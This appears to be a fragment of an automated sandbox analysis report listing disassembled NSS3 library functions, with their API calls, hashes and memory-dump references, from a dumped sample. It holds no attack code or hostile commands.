Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: ee0bbe7c6327d9efdac0f513f30573a5d47113a4a9bc4f5417261742e4fd60f7
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: FF415AB4601606AFE744DF15D940FA2BBA5FF45358F548128DA188BFA1EB72E834CF90

Function 6CD0DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CD0DDEC

Part of subcall function 6CD40840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD408B4

PK11_DigestBegin.NSS3(00000000), ref: 6CD0DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CD0DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CD0DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CD0DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CD0DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD0DECC

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: d63f0dc41968128d6d562742934c16cfeaf46fd7b081c169179506525c50a689
Instruction ID: d96326dc4750fb90c42d4e77dbf628212a3cc570ada8dc31930824fd75fbd404
Opcode Fuzzy Hash: d63f0dc41968128d6d562742934c16cfeaf46fd7b081c169179506525c50a689
Instruction Fuzzy Hash: 6F31ABB2E00214ABDB006F6DAD41BBB76B8DF55608F050136ED49A7762F731D918C6F2

Function 6CCE7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CCE7E48

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CCE7E5B

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCE7E7B

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CE0925C,?), ref: 6CCE7E92

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCE7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CCE7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CCE7EFA

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 8bb912227d1fc7623fbd67148e24fe49cdd110ffb28797542b986df4842db8b5
Instruction ID: da0a8335e02a8d4b71ad33fb7581e9e676485172ae097dabc5e537853b1014c9
Opcode Fuzzy Hash: 8bb912227d1fc7623fbd67148e24fe49cdd110ffb28797542b986df4842db8b5
Instruction Fuzzy Hash: 8A31B1B2E002159FEB108B699C40B5B73E8AF4A258F154864DD59EBB42F730FC04C7E1

Function 6CD3DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CD3D9E4,00000000), ref: 6CD3DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CD3D9E4,00000000), ref: 6CD3DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CD3D9E4,00000000), ref: 6CD3DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CD3DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CD3DCAD

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 2fcbadcd59a14a01bf92ca1d0d0dd697c4be490fc09c2579d736d2ff4b805cd8
Instruction ID: e7cd5dd4e2623327a384286ea685e2ae1eb9759362610091b3543eb7f92d638b
Opcode Fuzzy Hash: 2fcbadcd59a14a01bf92ca1d0d0dd697c4be490fc09c2579d736d2ff4b805cd8
Instruction Fuzzy Hash: 97316DB5A20210DFD710CF19D880A56B7F8AF8A358F148429E94CCBB61E771E944CFA1

Function 6CD02E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CCFE728,?,00000038,?,?,00000000), ref: 6CD02E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD02E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD02E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CD02E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CD02E9E
PR_Unlock.NSS3(?), ref: 6CD02EAB
PR_Unlock.NSS3(?), ref: 6CD02F0D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: bded6307b19717c827c6cc19bfb118bfb85cdc955159c1f0872307f15cc1a3da
Instruction ID: 5771a64fffd4941873883a7fdbbb482acfdae8e91b23f70d02ea01b6eb170cc6
Opcode Fuzzy Hash: bded6307b19717c827c6cc19bfb118bfb85cdc955159c1f0872307f15cc1a3da
Instruction Fuzzy Hash: B231E7B6B011059BEB006F29D88486ABBB9FF4525CB058165ED1887721F731EC65C7E1

Function 6CD4CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CD4CD93,?), ref: 6CD4CEEE

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CD4CD93,?), ref: 6CD4CEFC

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CD4CD93,?), ref: 6CD4CF0B

Part of subcall function 6CD40840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD408B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CD4CD93,?), ref: 6CD4CF1D

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CD4CD93,?), ref: 6CD4CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CD4CD93,?), ref: 6CD4CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CD4CD93,?,?,?,?,?,?,?,?,?,?,?,6CD4CD93,?), ref: 6CD4CF78

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 6c330e17d54127ec343f606c15ffad15dbf949649dd6794cca432039dabeaf2a
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: E51106B1E013049BEB00AB667C41B7BB5EC9F9814EF048039EE09D7B61FB65D91C86B1

Function 6CCF8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CCF8C1B
EnterCriticalSection.KERNEL32 ref: 6CCF8C34
PL_ArenaAllocate.NSS3 ref: 6CCF8C65
PR_Unlock.NSS3 ref: 6CCF8C9C
PR_Unlock.NSS3 ref: 6CCF8CB6

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

Strings

KRAM, xrefs: 6CCF8C8F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 34af8d520974651b576afbddf5cfde5148d9317654d71ec89c02f80b7013be75
Instruction ID: 677a1a736a40c8ba8a3f1a4e0cfefad7849d6462d096b569723951d9f85b9732
Opcode Fuzzy Hash: 34af8d520974651b576afbddf5cfde5148d9317654d71ec89c02f80b7013be75
Instruction Fuzzy Hash: 5421A3B1A056018FDB40AF7AC494959BBF4FF46304F05896ED898CB711EB35E887CB92

Function 6CD73E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CD75B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD75B56

PR_EnterMonitor.NSS3(?), ref: 6CD73E45

Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90AB
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90C9
Part of subcall function 6CDA9090: EnterCriticalSection.KERNEL32 ref: 6CDA90E5
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9116
Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA913F

PR_EnterMonitor.NSS3(?), ref: 6CD73E5C
PR_EnterMonitor.NSS3(?), ref: 6CD73E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CD73EA6

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PR_ExitMonitor.NSS3(?), ref: 6CD73EC0
PR_ExitMonitor.NSS3(?), ref: 6CD73ED7
PR_ExitMonitor.NSS3(?), ref: 6CD73EEE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 8a4335754ff088733b2ce6894b0f3ce02ca93ad4221616ca0052f7f57dcf1408
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: F31187B1511600AFDB319F69FC02BD7B7A2DB41358F400934E55986A30E637E929C777

Function 6CDF2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CDF2CA0
PR_ExitMonitor.NSS3 ref: 6CDF2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CDF2CD1
strdup.MOZGLUE(?), ref: 6CDF2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CDF2D27

Strings

Loaded library %s (static lib), xrefs: 6CDF2D22

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: a28bd8f5e6ad346136584a56137c67d9678ed0873cb776bda6d02c08cfd35af0
Instruction ID: 8ac68db0ff3356f7025fa4c191efda898c7ec2378d3f9d4c67503b9750b4f9b6
Opcode Fuzzy Hash: a28bd8f5e6ad346136584a56137c67d9678ed0873cb776bda6d02c08cfd35af0
Instruction Fuzzy Hash: CF1122B07002908FEB109F69DC04A663BB4BB4530DF05812DD819C7B20E731E81ACBA1

Function 6CCEBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CCEBDCA

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CCEBDDB

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CCEBDEC

Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CCEBE03

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCEBE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCEBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCEBE3B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: c57f1362bdeb39fe5eaac02477d511890ca0caee3e972a2d6c8b31d52a5fbd54
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 630126A5A4131176F61023667C12FBB7A884F9228DF140131EF089BBD2FB50E52882BA

Function 6CD40FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016

Part of subcall function 6CDA98D0: calloc.MOZGLUE(00000001,00000084,6CCD0936,00000001,?,6CCD102C), ref: 6CDA98E5

PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B
TlsGetValue.KERNEL32(00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41044
free.MOZGLUE(00000000,?,00000800,6CCDEF74,00000000), ref: 6CD41064

Strings

security, xrefs: 6CD41025

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 7a4053ccc5975f54f3904ac97d60eccdd969346032562b74a6edb59b1500572b
Instruction ID: 6bf7280fb015f4b0546cb446662fa2ca1eb62febe795d2594d06892bbf5bd129
Opcode Fuzzy Hash: 7a4053ccc5975f54f3904ac97d60eccdd969346032562b74a6edb59b1500572b
Instruction Fuzzy Hash: 04014831B0025497E7302F3C8C057563AB8BF4274AF018215EA48D6A71EB70D125DBD2

Function 6CD71C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD71C74

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CD71C92
free.MOZGLUE(?), ref: 6CD71C99
DeleteCriticalSection.KERNEL32(?), ref: 6CD71CCB
free.MOZGLUE(?), ref: 6CD71CD2

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: f2e0741c95f1df51c871aca474f34c1d2ed4716d0dd85e5abc286db89b62a6b5
Instruction ID: 395639cead4a7259183d329f26e6b99724cfbfb1fd399597804ab46b59d0cad7
Opcode Fuzzy Hash: f2e0741c95f1df51c871aca474f34c1d2ed4716d0dd85e5abc286db89b62a6b5
Instruction Fuzzy Hash: 770184B1F012249FDA30BFA49C0E7467778671631CF504325E90EE6A50D731E14947A5

Function 6CDD1C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CCD3D77,?,?,6CCD4E1D), ref: 6CDD1C8A
sqlite3_free.NSS3(00000000), ref: 6CDD1CB6

Strings

an index, xrefs: 6CDD1C67
a generated column, xrefs: 6CDD1C6C
non-deterministic use of %s() in %s, xrefs: 6CDD1C85
